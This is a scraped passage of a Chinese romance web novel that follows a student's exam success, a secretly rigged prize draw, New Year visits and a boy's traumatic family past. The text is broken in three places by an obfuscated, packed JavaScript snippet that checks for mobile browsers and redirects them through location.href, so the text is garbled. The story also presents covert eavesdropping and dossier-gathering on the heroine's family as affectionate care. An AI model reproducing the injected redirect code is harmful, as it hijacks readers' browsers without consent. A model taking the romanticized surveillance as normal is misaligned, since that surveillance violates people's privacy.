考场出来了,按名字首字母顺序分的,叶子名字缩写“yz”,在很靠后的考场。 她故意不去看韩山的,反正他是“hs”,不看她也知道在几楼。 布置考场要把桌膛里的东西都清空,董婉凝不在,她的桌子没人管,张婧雅帮她清,把她桌膛里的东西一股脑塞进柜子。 秦夏的座位挨着董婉凝的柜子,她蓦地看到,董婉凝柜子里有个黑乎乎的毛团子,似乎是假发套。 “等等!”她连忙起身,把那团东西拿了出来。 的确是一个假发套,兜在发网里。 张婧雅受董婉凝影响,很讨厌秦夏,想把东西拿回来,“别乱动。” 秦夏躲开她的手,“看看怎么了?” 秦夏把假发套从发网里拿出来,抖开一看,竟然是个学生头。 “你干嘛啊?”张婧雅不满。 秦夏想起叶子被陷害偷钱的事,意识到什么,连忙又去翻董婉凝的柜子,拿出了她塞在里面没穿过几次的校服。 张婧雅皱着眉头:“干嘛乱翻别人东西啊?” 秦夏:“你懂什么,这是证据。” 秦夏把这些东西拿给叶子看,叶子惊讶说:“你从哪找到的?” 秦夏指了下:“董婉凝柜子里。” 叶子深吸一口气,一切终于水落石出了。 她将这些东西拿到赵育芳面前,“老师,偷钱的事我真的是被冤枉的,这假发就是证据!” 布置完考场,赵育芳临时开了个班会,澄清了叶子的清白,并警告全班不得再有霸凌、陷害这种事情发生。 全班唏嘘,议论董婉凝的恶毒,再也没有人叫叶子小偷,或是提起偷钱的事。 张婧雅神色复杂,什么都没说。 赵育芳对叶子说:“我会转达沈娇娇的班主任,让他告诉沈娇娇真相,还你清白,你放心吧。” 沈娇娇跟董婉凝一起请了长假,但真相依然会传到她耳中。 高一上学期圆满结束。 赵育芳给韩山通了电话,问他选文选理,韩山选了理。 赵育芳劝他来参加期末考试,韩山没说什么,挂了电话。 赵育芳叹气,帮他填好意愿表,交给了教导主任。 同学们开始谈论谁会成为全市联考的第一。 “咱们学校是全市最好的学校,第一肯定也是咱们学校的!” “那可不一定!没准别的学校也有尖子生呢!” “感觉第一会是个男生,毕竟男生的逻辑思维更强!” “谁说的,我押是个女生!毕竟咱们年级第一就是女生呢!” 在前面安静写题的叶子莫名打了个喷嚏。 那几个同学的目光齐齐投向她。 临近期末,她学得分外认真,她发誓她一定要拿下全市联考的第一。 期末考试当天,叶子早早来到学校,进校门时遇到了董婉凝。 她请了长假,但考试还是要来的。 叶子差点没认出来她,她之前的红发染回了黑色,没有化妆,穿着校服,整个人消瘦了一圈。 她精神状态大不如从前,而且变得特别害怕叶子,一看到叶子便脸色发白,匆忙逃离了。 叶子不知道她到底经历了什么,完全像变了一个人,然而她还是很高兴,董婉凝终于有了几分学生的样子。 人生那么长,年少时难免犯错,改正就好。 她不愿去恨任何人,她只希望自己能平淡安稳地度过高中。 也希望董婉凝能慢慢变好。 叶子在考场外看书,他们学校考试制度完全依照高考,不到点不能进考场,以便提前让学生习惯高考模式。 她不经意抬眸望向对面二楼,默默叹气。 他不来上课,期末考试会来吗? 他答应跟她去一个班,终究要食言了吗? * 九科,考了三天,考完便进入寒假,成绩发在学校官网上。 这是全市联考,统一判卷,成绩出来那天,叶子迫不及待打开电脑。 网页一打开,她便看到自己的名字。 第一页,第一个! 她是全市联考的第一! 她高兴得跳起来,她答应韩山的做到了! 当然这也不仅仅是为了他,她本就会好好学习,只是跟他的这份约定,给了她更大的动力。 他爸妈上班不在家,家里只有她自己,她兴奋地给爸爸妈妈发短信,告诉他们这个好消息。 她重新坐下来,在成绩单上寻找秦夏的名字。 她也很优秀,第17名。 他们学校不愧是一中,前百占了一半。 叶子心想,这样她和秦夏下学期估计又能一个班了。这次文理分班后,直到高考都不会再有变动,她们就可以一直做好朋友。 接着叶子开始寻找韩山的名字。 她使劲滑啊滑,滑啊滑,生怕错过,更怕他没有参加考试。 数万考生,每页一百个名字,终于,滚动条快到底时,她看到了他。 518分,第xxxxx名。 她双目微瞠,他也是有进步的! 原来他真的有在认真复习呀。 叶子看向他的单科成绩,赫然一个144的数字,让她惊呆了。 不是数学,不是语文,更不是理化生,竟然是……英语?! 满分150,他考了144??! 叶子惊呆,他英语成绩完全不逊于她。 那是自然,韩山出生在韩家,从小就被培养多国语言。 其他科目他不学完全不会,但英语,他比语文都擅长。 高一九科总分1050,语数英450分,其他六科各100分,他考了518分。一堆不及格,只有英语拔尖。 他没复习,课本都不知道丢到哪里去了,他原本不想去考试的,白天他只会犯困。但想到叶子希望与他同班,他已经无法做到了,若再不去考试,她会更失望吧。 当天他还是强行爬起来了,他认真答卷,没有像之前一样交白卷。 这是他的真实成绩。 他就不与她同班了吧,那样只会影响她。 他擅长理科,但他太久不学,已经看不明白,文科凭常识瞎蒙,反倒比理科考得好。 当然即便稍好一点,也是不及格的范畴。 其实他语文也可以,毕竟底子在那,但作文让写梦想,他写不出来,只憋了两行。最后不及格。 他这样的人,未来都没有,谈何梦想。 考试那天他来得很早,走进走廊,抬头就看到了叶子。 叶子考场在六楼,他在二楼,接近对角线的位置。 少女靠在栏杆上,低头静静看书。 微风吹动她的碎发,青春二字有了具象化。 她似乎感觉到什么,蓦地抬眸。 他先一步转身,退到围墙后。 她没有看见他。 在她重新低下头后,他站在围墙投下的阴影中,偷偷看她。 她头发长了些,一边头发挂到耳后,温婉动人。 这段日子她没联系他,他也不敢打扰她,怕让她分心,影响她学习。 所以也一直没有对她说出他心里那句:考试加油。 而他…… 也会加油的。 叶子看完韩山的成绩,很为他高兴,他终于不是倒数第一了。 她犹豫了一下,拨通了他的电话。 这些天她因为他不来上课而赌气不理他,但又因为他成绩有进步无声无息原谅了他。 韩山刚结束了Kings一晚上的工作,正在补觉,被手机铃声吵醒,蹙眉摸到手机,想要挂掉,看到是叶子的号码,指尖顿了顿,选择了接通。 他被吵醒脑袋很痛,不想开口说话,接通后没有出声,另一只手捏着眉心。 叶子看了眼时钟,才早上九点,她光顾着高兴了,一时忘了这个时间他或许还在睡觉。 她小心翼翼地“喂”了一声。 韩山声音闷闷的:“嗯。” 叶子心想惨了,真的在睡! 她弱弱说:“对不起吵到你了……” 韩山:“没关系。” 是她的话,他不在意。 叶子听他并没有生气,放心了些,高兴说:“我刚刚看了期末考试的成绩,你猜我考了第几?” 她的声音像微风吹开云雾,韩山的头痛不经意缓解,他放下捏着眉心的手,唇边生出一丝笑意,“第一。” 叶子笑声清脆,手拨风铃般,说:“猜对了!” 韩山无声轻笑。 叶子:“那你猜你考了多少?” 我吗…… 韩山想了一下,说:“五百。” 考完他心里就有数了。 叶子惊讶:“哇!又对了!你好会猜啊!” 韩山弯唇,缓缓说:“没法跟你去一个班,我食言了,对不起。” 叶子笑容微微凝固,不能跟他一个班她确实有些失望,但看到他成绩进步,她的快乐还是大过了失望。 只要他每回考试都有进步,他们终究还是会顶峰相见的。 她回了房间,趴在床上,甜甜说:“没事啦,你当时说的是尽力,你已经做到了呀。” 韩山心脏柔软,轻轻嗯了一声。 叶子翻了个身说:“好啦你接着睡吧,我不打扰你啦!已经寒假了,寒假快乐哦,韩山。” 韩山深呼吸,“嗯,寒假快乐。” 叶子:“拜拜。” 叶子挂了电话,开心得在床上打了几个滚,爬起来写寒假作业。 晚上李丽然下班回家,一进门就欢欢喜喜地来敲叶子的房门,“我能进来吗?” 叶子立马跑过去开门。李丽然一把抱住叶子,狠狠亲,“真是我的骄傲!全市第一!今天班上同事们都羡慕死我了!我家宝贝怎么这么棒啊!说,想吃什么,妈妈立马给你做!” 被亲了一脸口水的叶子:…… 李丽然兴致勃勃说:“对了,我家宝贝这么棒,我的后备力量也不能少!我给你报了个寒假预科班,咱们直接赢在起跑线!怎么样?” 叶子当即推开李丽然,“哎呀妈,我根本用不着上预科班,你别乱花钱。” 李丽然意外:“真不用嘛?我看班上同事家孩子们都在上,别人有的我家宝贝也不能少!” “真不用妈。”叶子耐心说道,“我自己看书做题就能理解,预科班反而效率差,来回路程也耽误时间。你把钱退了吧。” “也是,什么预科班都是凡夫俗子上的!我家宝贝这么优秀,根本用不着!我这就给老师打电话!” 叶子:…… 她妈真是她的无脑粉头。 这晚李丽然做了满满一桌子菜,叶进财也提早下班,共同庆祝叶子考了全市联考第一。 叶子笑得开心极了,举起橙汁说:“Cheers!” 一家三口干杯,欢声笑语,其乐融融。 * 春节将至,叶子家还没置办年货。这天李丽然休班,买菜回来时,手里拿了张传单。 他们小区附近有家超市搞年货促销节,消费就能抽奖,中奖率高达百分之百。 也就是说最差都能中个安慰奖,返个几块钱。 叶子觉得这不错啊,年货在哪买不是买,在这个超市还能抽奖。 李丽然也觉得不错,吃完晚饭,便带叶子去消费了一波。 超市打折促销,各种商品都便宜很多,叶子专门看了眼保质期,还都是新鲜的,不是临期产品。 看来这回超市是真下血本了呀。 她们买了一大堆东西,打折后才花了一百多,还获得了一次抽奖机会。 叶子带着妈妈欢欢喜喜去抽奖区抽奖,那里人很多,都是被传单吸引来的,地上扔了一堆刮完的抽奖券,叶子弯腰看了看,无一例外全是安慰奖。 叶子一眼看穿:“看来里面只有安慰奖,全是噱头。” 不过她依然很高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024295|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴,苍蝇腿也是肉啊,占便宜不分大小。 李丽然也这样想:“促销折扣已经很大了,还返现,怎么着都是赚的。” 他们去找工作人员抽奖,服务员小姐姐十分热情地拿出一个新的抽奖桶,“抽吧!” 就一次抽奖机会,李丽然果断让给叶子,“你小孩,手气好,你来吧。” 叶子最喜欢抽奖,手伸进桶中,翻了翻,拿出一张抽奖券。 她抽完后,服务员小姐姐把抽奖桶又拿了下去。 哪怕知道手中大概率是安慰奖,叶子还是很兴奋,刮开了灰色条码。 然而看到上面的奖项,她猛地呆住了。 “什么奖什么奖?”李丽然好奇地凑过去看,也呆住。 上面赫然写着三个字: 一等奖 “妈呀!”李丽然惊呼,“真能中啊!” 周围人纷纷看向他们。 李丽然后知后觉自己声音大了,连忙捂住嘴。 有个大妈问道:“你们中了什么,一等奖?” 李丽然不好意思地笑了笑,点头。 众人看她们的目光多了几分羡慕。 服务员笑道:“恭喜你们!一等奖只有一个哦!你们真是万里挑一的幸运儿!” 叶子迫不及待问:“那一等奖是什么呀?” 服务员:“五千块钱。或者,你们也可以选择价值五千块的家电套装,包含冰箱彩电洗衣机等,都是今年的最新款!” 叶子与李丽然难以置信地对视一眼。 李丽然抱住叶子狂亲,“你真是妈妈的幸运星!” 叶子:…… 母女俩一合计,他们家家电不需要换新,不如就选钱吧。 “请跟我来。” 服务员带着叶子与李丽然去领钱,五千块,厚厚一沓钞票,李丽然笑得合不拢嘴。 那年的物价低,五千块是个不小的数字了,够花很久。 回家路上,李丽然一路都在兴奋地筹划:“今年给你爸也买一身新衣服!给你买两身!” 叶子也很高兴,眼睛笑弯成两道桥。 从小到大她都没中过奖,几乎是中奖绝缘体,突然中奖就中了个这么大的,看来今年是她的幸运年呢。 在她们离开超市后,不为人知的角落里,超市老板给韩山打电话。 “A哥,办妥了。” 韩山在外面都用Ace的身份,别人总爱叫他A哥。 韩山微微勾唇,“好,打折的差价,抽奖的成本,以及报酬,我都打你卡上了。” “谢谢谢谢……能给A哥办事,是小弟的荣幸。” 叶子和李丽然并不知道,服务员拿给她们的抽奖桶里,全是一等奖。 韩山专门给她们准备的。 整个促销活动,都是他的手笔。 李丽然给玮琪那三百块,他思来想去,只能用这种办法还回去。 他知道叶子家条件不好,加倍地还,五万、五十万,其实韩山都出得起,但太高了会引起怀疑,所以只能打住在五千块。 希望她们今年能过个好年。 * 叶子家今年的确过了个很挥霍的年。 李丽然好久舍不得买化妆品,今年都给自己安排了两套。 叶进财换了新手机,还换了一个电动剃须刀。 叶子没什么需要的,建议把剩下的钱存起来,以备不时之需。 李丽然感动说:“咱家能中奖多亏了咱闺女,偏偏咱闺女最懂事,行,妈妈听你的,把剩下的钱存起来,留给你以后上大学用!” 叶子给韩山打电话,快乐地告诉他中奖的好消息:“你知道吗,我们家买年货的时候中奖了!五千块呢!” 韩山听她高兴,便觉得一切都值了。他轻笑一声说:“是吗,你们家运气真好。” “那是!”叶子沾沾自喜。 “对了!”叶子说,“马上就要除夕了,到时候我要跟爸妈一起回县城奶奶家,你呢?” “我吗……”韩山陷入沉默。 叶子知道韩山跟父亲断绝关系,或许不会回去过年,柔声说:“春节是阖家团圆的日子,还是回家看看比较好,就算你跟你父亲关系不好,你还有母亲呀。她也会很想你的。” 韩山这次答得很快:“她去世了。” 叶子猛地滞住。 许是因为她对母亲感情很深,这种话让她听起来格外难过。 “对不起。”她说。 “没事。”韩山笑了笑,“她去世很久了,我早就放下了。” 他的声音异常平静,没有悲痛欲绝,更没有歇斯底里。 他像一个旁观者,坦然地陈述这段过往。 叶子有些不知道说什么了,她的人生阅历还不足以支撑她从容地应对这种话题。 她怕自己说错什么,让他难过。 韩山猜到她的心思,轻声说:“好了,去忙吧,我会安排好我的春节的,不会孤单。” 叶子有他这一句,安心了,道:“好,那拜拜。” “嗯。” 叶子挂了电话,呆呆望着天花板。 原来他的母亲去世了,怪不得她从未听他提起过。 * 除夕当天,叶子跟爸妈一起回县城奶奶家。 叶子还是很喜欢爷爷奶奶的,他们是知识分子,观念开放些。 叶子出生后外公外婆总是催着李丽然要二胎,生儿子,但爷爷奶奶从来没提过,叶子小时候爸妈工作忙顾不上照顾她,都是爷爷奶奶不辞辛苦来家里帮着带,而外公外婆不喜欢女孩,一天没管过她。 她始终相信什么样的家庭就会养出什么样的孩子,她爸爸和她舅舅就是两个截然相反的对照组。 在爷爷奶奶这样家庭长大的爸爸,会疼老婆,也爱女儿,工作吃苦耐劳,有上进心,而李勇军,天天不务正业,啃老啃姐,她已经可以预见到,就算他结了婚也不会尊重老婆,会生孩子直到生出男孩为止,而这个男孩,又会踏上李勇军的老路。 所以有时候一个家庭的不幸,也是代代相传的。 叶子最心疼的还是妈妈,妈妈和爸爸日子过得节俭辛苦,爸爸好歹会有爷爷奶奶做后盾,而妈妈什么都没有。 外公外婆的一切都是李勇军的。 所以她最爱的也是妈妈,再没有一个亲人,能胜过妈妈在她心中的分量。 她想着想着,突然想到已经失去母亲的韩山。 他父亲也跟他断绝了关系,那他春节到底要怎么过呢? 42. 欲望 韩家只有韩山奶奶——那个白发苍苍的老人惦记着这个孙子,给韩山打电话,让他回韩家过年,他拒绝了。 韩松庭都跟他断绝关系了,他还回去干嘛,看他臭脸吗? 临近年根,他也忙得很,翁方海要他陪他参加年会。除夕当晚,Kings还有个晚会,需要他在场。 他可没那个功夫回韩家过什么破年。 他不回去,他哥哥姐姐也轮番给他打电话,说奶奶想他了,想见他,老人家说不定没几年了。他听了一半就把电话挂了,号码拉黑。 除夕夜,叶子一家和爷爷奶奶一起看春晚。 窗外时不时有烟花绽放,今年的小品是《卖拐》,叶子笑得前仰后合,记住了一句台词:走两步!没病走两步!歌舞类有一首《新康定情歌》,叶子觉得改编得很有创意,打算回家下载下来听。 跨年倒计时,所有参演人员和主持人全都上来,楼下鞭炮震天响,全国人民普天同庆。 李丽然和奶奶坚持不住早就睡了,叶子跟爸爸和爷爷一起下楼放鞭炮,凑个热闹。 叶子录了一个视频,拍了几张照片,发给韩山看。 Kings的high是另一种,外面鞭炮齐鸣,里面摇滚乐震耳欲聋,霓虹灯晃动,礼花筒在舞台上方爆炸,彩带、亮片飞舞,人们端着酒杯cheers,韩山浑身闪闪发光,抱着吉他,刷出劲爆的节奏。 今晚他的造型是玮琪亲手打造,镶钻皮夹克,破洞牛仔裤,马丁靴,闪耀的首饰全戴上,发型张扬不羁。 玮琪说也就是他这身高、外形能撑得起这种装扮,既浪荡又矜贵,换做别人,穿不出这种味。 穿着热辣的舞女随着音乐扭动白皙的躯体,搭上韩山的肩膀,韩山回眸看她,唇角勾出一抹冷淡的弧度。他戴着墨镜,别人看不到他毫无情绪的双眸,使得这一笑暧昧又克制,无比勾人。 台下兴奋地尖叫。 玮琪早些时候给他说了想让舞女跟他来个贴身热舞,引爆全程,他拒绝了,玮琪求了他半天,他同意借出一个肩膀。 玮琪扫兴说:“你不会真有女朋友吧?这点尺度够干嘛?” 韩山的态度棱模两可:“我就这人,有没有女朋友都一样。” 玮琪撇撇嘴,没再说什么。 在Kings工作的DJ,都仗着工作之便睡了一个又一个女的,还能拿点小费。玮琪早就见怪不怪,反而觉得这才是正常的。毕竟这可是Kings啊,孕育渣男、海王的地方,不是什么佛堂寺庙。 而眼前这个少年,外形最为出众,最像渣男,偏偏最没欲望。 身边桃花一朵朵开,他不屑一顾,若不是他对男人一样冷漠,玮琪都觉得他莫不是个弯的。 韩山这晚忙,顾不上看手机,等到后半夜,晚会接近尾声,他叫其他DJ替他一会儿,才有空到员工通道看手机。 他打开叶子发来的录像。 画面中,夜色柔软,少女拿着仙女棒,对着镜头甜甜的笑,漫天烟花盛放,都成了她的背景板,她的杏眸倒映着仙女棒的火焰,熠熠生辉。 她转动仙女棒,火星如银河坠落。 他寂寥的心脏,剧烈震颤。 录像是叶进财帮她拍的,她欢喜地对着镜头说,二零零一年快乐! 爷爷在她身后点燃二踢脚,她吓了一跳,跑出了镜头,受惊的样子好像某种可爱的小动物。 “录上了吗?” “录上了。” 录像在这里结束,韩山的心却已经被她带入到她的世界里,久久不能平静。 他打开照片,有年夜饭,有电视机里的春晚画面,有布满烟花的夜空,有爆炸的鞭炮,还有少女举着仙女棒,纯真可爱的笑脸。 他忽然怅然,这才是过年啊。 不是韩家虚与委蛇的社交,也不是在这个风月之地人不人鬼不鬼地消磨时间,是和重要的人,一起吃年夜饭,放放炮,看看烟花。 他怎么会没欲望,在这一刻,他的欲望到达顶峰。 他希望她身边的,是自己。 他马上又挥散这个想法,他在想什么,他一个活在阴沟里的人,竟也敢妄想摘取月亮。 * 大年初一,叶子一大早被李丽然叫起,去串门拜年,叶子收获了不少压岁钱,都上交给了李丽然。 初二回娘家,叶子跟着爸妈去外公外婆家,李勇军也在。 自上次酒吧闹剧之后,李勇军消停了不少,但李丽然觉得他肯定没憋好屁。 果然饭桌上,他提出要自己开个店做生意,让李富王娟支援他点启动资金。 李丽然一口否决,“你得了,你班都不想上,还自己开店呢?” 李勇军振振有词:“就是因为我不想上班,才要自己开个店啊!不然我天天花你钱你不也不乐意吗?” 韩山给他两万块的事他没告诉任何人。他很快把钱花完了,又不想上班。 李丽然:“那你先上班,自己攒够钱了再开店!别总惦记着老两口的钱。” 李勇军:“又不是你的钱!我花我爸妈钱跟你有什么关系?我爸妈都没说什么你废什么话?” 李丽然:“这也是我爸妈啊!他们岁数大了,你给他们留点钱看病养老行不行?”她转向老两口说:“爸妈,你们可不能再惯着他了,他都多大人了。” 叶子默不作声,她倒觉得李勇军说的有点道理,反正没花她家钱,爱咋咋吧。管也管不了,何必给自己添堵。 “行了。”王娟看向李丽然,“你弟弟好不容易有点志向,别给他泼冷水。” 李丽然没想到这也是她的错了:“妈!” 李勇军有了王娟支持,底气更足了,挑衅地看着李丽然。 李富说:“给你钱你可得真的把店开起来,别拿了钱就没了下文。” 李勇军信誓旦旦:“你们放心,我绝对给它开起来,我店面都看好了!万事俱备,只欠东风!” 李丽然:“哪里的店面我听听。” 李勇军呛道:“我才不告诉你呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14049763|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关你啥事啊?除了开店,我还要投资理财,你就看着吧,我绝对能把本金成倍成倍地赚回来!” 李丽然警惕说:“你到底要干嘛,你可别被骗了!” 李勇军瞪眼睛:“你啥意思啊,你就不能盼我点儿好?” 关于媳妇的家事,叶进财也不好说什么,眼看要吵起来,忙打圆场说:“先吃饭吧,一会儿菜都凉了,吃完饭再商量。” 王娟对李丽然说:“你就少说几句吧。” 李丽然不服气:“妈!我为你们着想,你怎么反倒说起我来了?你不知道他什么德行吗?” 李勇军拔高了嗓门:“我什么德行?你把话说清楚,我什么德行!?” 王娟息事宁人:“吃饭吧吃饭吧。” 李丽然无话可说,肚子里憋着火。 王娟倒是风轻云淡,随口问李丽然和叶进财:“你俩真不打算再生一个?” 李丽然无奈:“您又来了。” 王娟抱怨:“小的不争气,找不到对象,大的也不争气,也不知道我这辈子还能不能抱上个外孙。哎!” 李勇军:“怎么又扯上我了!妈我给你说,等你给了我钱,我把这个店开起来,赚钱了,还愁找不到对象?到时你别说一个外孙,我直接给您生四个,都给你和我爸抱,让你俩左抱一个右抱一个!” 王娟和李富被逗得直笑。王娟给他夹了个鸡腿,说:“油嘴滑舌,你先把店开起来再说吧。” 叶子见状也给王娟夹了个鸡腿,“外婆您也吃。” 她对王娟那些话早就习惯了,不觉得有什么,她只是觉得,外婆说了这么多,李勇军也没给她夹过菜,挺可怜的。 王娟看她一眼,微笑没说话。 * 他们的对话一字不落传入韩山耳中。 他冷笑,关掉窃听设备,拿起工作台上的一沓资料,漫不经心翻了翻。 第一份就是李勇军的。 后面分别是秦夏、步一凡、李丽然、叶进财、李富、王娟……还有叶子的爷爷奶奶。 他人脉广,想查谁,祖上八代都能翻出来。 很抱歉呐,用这种方式认识你的家人、朋友。 他拿起打火机,随手点燃资料。 火焰从资料一角烧起,火光映照他漆黑的眸。他将资料丢进火盆,纸张很快烧成灰烬,不留痕迹。 韩山起身洗了手,把他的向日葵搬到仓库外晒太阳。 他的向日葵需要照看,因此他每天都会回仓库一趟。他给向日葵买了恒温箱,将它罩起来,让它在冬天也能盛放。 他小心谨慎地饲养着这么一朵娇贵的花儿。 今天他没什么事,Kings放假了,翁方海也要陪家人。 他看了花儿一会儿,回屋继续搞他的发明,工作台上铺满了他画的设计图和草稿纸。 其中一张纸上画了一个树叶图案。 这是他给她准备的生日礼物。 虽然她没有告诉过他,但他知道,她的生日在春天。 43. 困兽 向日葵被韩山照顾得很好,除了是在恒温箱里圈养的。 韩山再抬头,天已经黑了。 他关掉台灯,简单收拾了下,穿风衣出门,去看望他的外公外婆。 他从小生活在韩家,其实对外公外婆没什么感情,但那是他母亲的父母。他割舍不下。 今天是初二,如果母亲在的话,一定也会去的。 韩山一只手拎着两个礼箱,总共拎了四个礼箱,扣响了外公外婆家的门。 他们家住在市区大平层,生活条件很不错。 门很快打开,外婆看见是外孙,非常意外,“呀!是阿弥呀!快请进快请进。”她热情邀他进门。 一听是外孙,外公也出来迎接,“哟,还带这么多东西!”他接过韩山手中的礼箱,放在桌上。 家中铺着木地板,韩山想换鞋,然而鞋柜上满满都是外出穿的鞋,并没有多余的拖鞋。 老两口只有一独女,自女儿离开后,两个人相互扶持着生活,不再需要第三双拖鞋。 外婆裴蕙心看出韩山的意图,略有尴尬地说:“不用换鞋了,进来吧。” 韩山不善与长辈亲近,无言点头,跟着二老进了客厅。 外公外婆家是书香门第,房子装修布置得充满古朴文雅的气息,红檀木的沙发桌子,墙壁上挂着外公亲笔字画,集齐了梅兰竹菊,架子上摆满了盆栽。 在韩山对外公外婆家寥寥可数的记忆中,他们还有个特别大的书房,赶超韩家别墅里的衣帽间。 客厅角落里摆放着一张供桌,上面挂着他母亲的黑白照片。 供果都是新鲜的,香台里铺着燃烬的香灰。 韩山不敢多看,敛眸挪开视线。 “怎么过来的呀,冷不冷?”裴蕙心坐在韩山旁边,满眼的爱意。 她很喜欢这个外孙,他眉眼间有女儿的影子。 外公蒋明哲给韩山递茶,“来,这是我刚烧的茶,正宗碧螺春,尝尝!” 韩山双手接过,“好。” 裴蕙心看着韩山,笑容慈蔼,“难为你惦记着我们了,还来看我们,真好。” 韩山:“以后每年我都来。” 他母亲离开很多年了,以前他年纪小,不懂事,现在他有能力,有空闲,没理由不来。 老两口高兴得眼睛笑弯成两条缝,裴蕙心说:“好好,随时欢迎。我的外孙真长大咯!”她摸了摸韩山的后脑。 韩山觉得不自在,但没有躲,让她摸了。 蒋明哲问:“吃饭了没有呀?在这吃点吗?” 韩山忙说:“吃过了,我在这坐会儿就走,不用麻烦了。” 他看得出老两口的无所适从,他们疼爱他,这点毋庸置疑,但因为关系生疏,不知道怎么表达,只能客套地寒暄。 韩山也没比他们好多少,没话找话说:“你们现在身体还好吧?” 蒋明哲高兴得直笑,裴蕙心说:“好好好,我们俩好着呢!” 韩山:“没打招呼就来了,有些唐突。” 裴蕙心忙摆手:“没有没有,哪有的事,你能来,我们就高兴。” 蒋明哲:“对对。把这就当成自己家!” 裴蕙心蓦地瞪他一眼。 他们都知道因为女儿的死,这个外孙跟韩家关系一直不好,这不是往枪口上撞呢吗? 蒋明哲意识到自己说错话了,立刻找补说:“总之就是怎么舒服怎么来!哈哈哈。” 韩山笑笑,他确实不喜欢那句话,然而他知道外公是好意,便把那个“家”默认成他所住的仓库。 电视上重播着春晚节目,小品里,观众们鼓掌喝彩,哈哈大笑。 今年的小品确实不错,韩山也跟着弯了弯唇。 韩山陪老两口看了会儿电视,说了会儿话,看时间不早了,起身要走。 蒋明哲给了裴蕙心一个眼神,裴蕙心立刻回屋了一趟,再出来时拿着一个厚厚的红包塞给韩山,“拿着拿着。” 韩山一眼便能看出里面大几千块,他推辞,裴蕙心说:“你从小在韩家长大,我们没出什么力,这点钱是我们的心意。” 韩山没法辜负,沉默收下了。 老两口在门口目送韩山走进电梯间,“路上慢点啊!”他们对他挥手。 韩山从外公外婆家离开,坐车来到望月峰。 他的母亲在这里,山下一片海,浩浩汤汤。 明月高悬,星辰寥落,夜里海浪声清晰。他在山崖边放了一束鲜花,他母亲最喜欢的满天星。 海风拂过他的面庞,他的碎发轻浮,他对着风和大海,淡淡地说:“妈,我去看过外公外婆了,他们一切都好,你放心吧。” 海浪拍打山崖,苍茫哗哗声响,似是回应。 他记忆中,母亲的笑温柔沉静,如瀑的长发像是深海的海藻,声音也柔软得如同泡沫一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14068454|144650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她叫裴至柔。 他听母亲说过,她的名字出自《道德经》,“天下之至柔,驰骋天下之至坚”,承载着外公外婆对她的祝愿。 其实她一开始确实是跟父亲姓蒋的,但随着她长大,她发现母亲的裴姓比蒋好听,闹着要改。 外公外婆宠爱女儿,就随她去了。 母亲葬礼那天,韩山一袭黑衣,以长子身份站在母亲棺前。 所有人掩面啜泣,有真心,有假意。唯独他,一滴眼泪都没掉。 并非情感淡漠,亦非生来不会哭,而是全力自持,方不至失控。 母亲一生向往自由,却嫁入最不自由的韩家,死后他遵循母亲遗愿,把她的骨灰洒向大海,一半随风飞扬,一半融入海浪。 原本母亲的骨灰是要按韩家规矩入土为安的,在葬礼上,他抢了骨灰盒跑了,因此葬礼大乱,还上了当时的头条,他被韩松庭狠狠责骂殴打,关禁闭,罚跪。 但那又怎样,总归事他做成了。 韩家陵园里永远有一座空坟。 她生时逃离不出韩家,死了总要离开。 他几次从关禁闭的阁楼里逃出去,又被韩松庭抓回来,最后被韩松庭用锁链锁住手脚,彻底困住。 韩松庭用拐杖打他,用最恶毒的言语咒骂他。 他死不认错,韩松庭便断水断食,后来怕他死了,才给他送吃送喝。他不吃,就捏开他的嘴强行给他灌。 韩松庭关着他,不认错便不放他出去。可他自始至终不觉得自己有错。 他像困兽,浑身是伤蜷缩在角落里颤抖。 韩家是有名的贵族世家,红白事都有记者关注,一点小事都能掀起轩然大波。 外界的声音使他的“过错”显得更加恶劣不可饶恕,韩松庭近一年没给他说话,近一年,他被软禁在幽闭的阁楼,无人问津。 也是在那一年里,他出现了严重的精神和心理问题,很长一段时间不会开口说话,还患上了幽闭恐惧症,在阁楼中崩溃嘶吼。 他恨韩松庭,恨韩家的每一个人。他的母亲在这里香消玉损,连他自己,都要在这里被逼疯。 他忘了那时他几岁,总归是在上小学,虽然后来他心理问题缓解,但从那之后,他就像变了个人。 他明白一件事,越是想要保护谁,就越不能让她接近韩家。 韩家没有好人,韩家是吃人的妖魔,是消磨生命的囚笼。 44. 防身术 年越来越远了,叶子从县城回来后,抽空去二手市场还了步一凡“爽约费”。 叶子按约定价格的百分之十给的,也就是五十块钱。 步一凡不想收,他爸爸替他收下了。苍蝇腿也是肉,何况还是白来的。 叶子也觉得这钱应该收,毕竟是她自己反悔的。 从二手市场出来,叶子想去看看韩山,她已经很多天没见他了,可又不知道以什么理由。 想了半天,她给他发了条短信,问他在不在仓库呀,她想去看看向日葵。 